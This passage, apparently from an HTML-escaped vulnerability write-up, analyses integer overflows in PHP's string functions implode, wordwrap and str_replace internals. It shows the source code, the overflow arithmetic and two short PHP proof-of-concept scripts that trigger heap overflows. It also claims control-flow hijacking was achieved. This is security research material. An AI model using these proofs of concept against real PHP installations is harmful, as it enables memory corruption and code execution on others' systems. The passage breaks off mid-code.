&lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delim&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A vulnerable example is in the &lt;code&gt;php_implode&lt;/code&gt; function.
The function invokes &lt;code&gt;zend_string_alloc&lt;/code&gt; with the following arithmetic expression
as the length argument: &lt;code&gt;len&lt;/code&gt; + (&lt;code&gt;numelems&lt;/code&gt; - 1) * &lt;code&gt;ZSTR_LEN(delim)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;An integer overflow can arise in the expression if the values are carefully
manimulated. For instance, in case when the size of string &lt;code&gt;delim&lt;/code&gt; is 65,536,
number of elements are 65,536, and the length of the string &lt;code&gt;len&lt;/code&gt; is 65,536,
then the size value will be zero (65536 + 65535 * 65536) = 4294967296 = 0&lt;/p&gt;
&lt;p&gt;The following code shows the proof-of-concept (PoC) that exploits the
vulnerability.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;aa&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nv"&gt;$text1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ABCD&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16384&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// Changing ABCD into other values will alter %eax and %ecx.&lt;/span&gt;
    &lt;span class="nv"&gt;$str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;implode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$arr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Exploiting the vulnerability requires the size of strings for the arguments
to be matched to overflow, as mentioned above. First, we build the string $text1
to be 65,536 sized string (ABCD is repeated 16,384 times).&lt;/p&gt;
&lt;p&gt;We searched for similar cases (i.e., use of zend_string_alloc with multiplication
expression) in &lt;code&gt;ext/standard/string.c&lt;/code&gt; file, we found three of such cases, and
successfully create control-flow hijacking exploits for all cases.&lt;/p&gt;
&lt;h2&gt;php_wordwrap()&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ext/standard/string.c&lt;/span&gt;
&lt;span class="n"&gt;PHP_FUNCTION&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wordwrap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// allocate string into newtext variable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;linelength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;chk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;linelength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;alloced&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;chk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;alloced&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// do multiple memcpy()...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newtextlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newtextlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newtextlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;breakchar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;breakchar_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newtext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newtextlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;laststart&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the code, &lt;code&gt;wordwrap()&lt;/code&gt; allocates memory for new string by calling
&lt;code&gt;zend_string_alloc&lt;/code&gt;, with size argument as either of
&lt;code&gt;chk&lt;/code&gt; * &lt;code&gt;breakchar_len&lt;/code&gt; + &lt;code&gt;ZSTR_LEN(text)&lt;/code&gt; or
&lt;code&gt;ZSTR_LEN(text)&lt;/code&gt; * (&lt;code&gt;breakchar_len&lt;/code&gt; + 1).&lt;/p&gt;
&lt;p&gt;The expression for the size argument can cause a condition of integer overflow.
In the second expression (&lt;code&gt;ZSTR_LEN(text)&lt;/code&gt; * (&lt;code&gt;breakchar_len&lt;/code&gt; + 1)),
if the attacker forges the argument as 65,536 (2^16) character string for text,
and 65,535 (2^16 - 1) character string as breakchar, then
the resulting value will be (65,536) * (65,535 + 1) = 4294967296 = 0.&lt;/p&gt;
&lt;p&gt;In such a case, &lt;code&gt;zend_string_alloc&lt;/code&gt; will allocate a zero sized buffer
(actually, a little bigger than zero because it is aligned by Zend object size),
and then subsequnt &lt;code&gt;memcpy&lt;/code&gt; will overwrite the heap buffer.&lt;/p&gt;
&lt;p&gt;Proof-of-Concept code for triggering the vulnerability is in the following.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class="nv"&gt;$text1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$text2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_repeat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;B&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$newtext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;wordwrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$text1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$text2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;By configuring the length of string arguments as 65,536 and 65,535 respectively,
the subsequent &lt;code&gt;memcpy&lt;/code&gt; inside wordwrap function will overflow the heap objects.&lt;/p&gt;
&lt;h1&gt;php_str_to_str_ex()&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ext/standard/string.c&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;php_str_to_str_ex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;needle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needle_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;replace_count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// count is the value that how many times needle appears in the haystack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needle_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ZSTR_VAL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;php_memnstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needle_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;needle_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
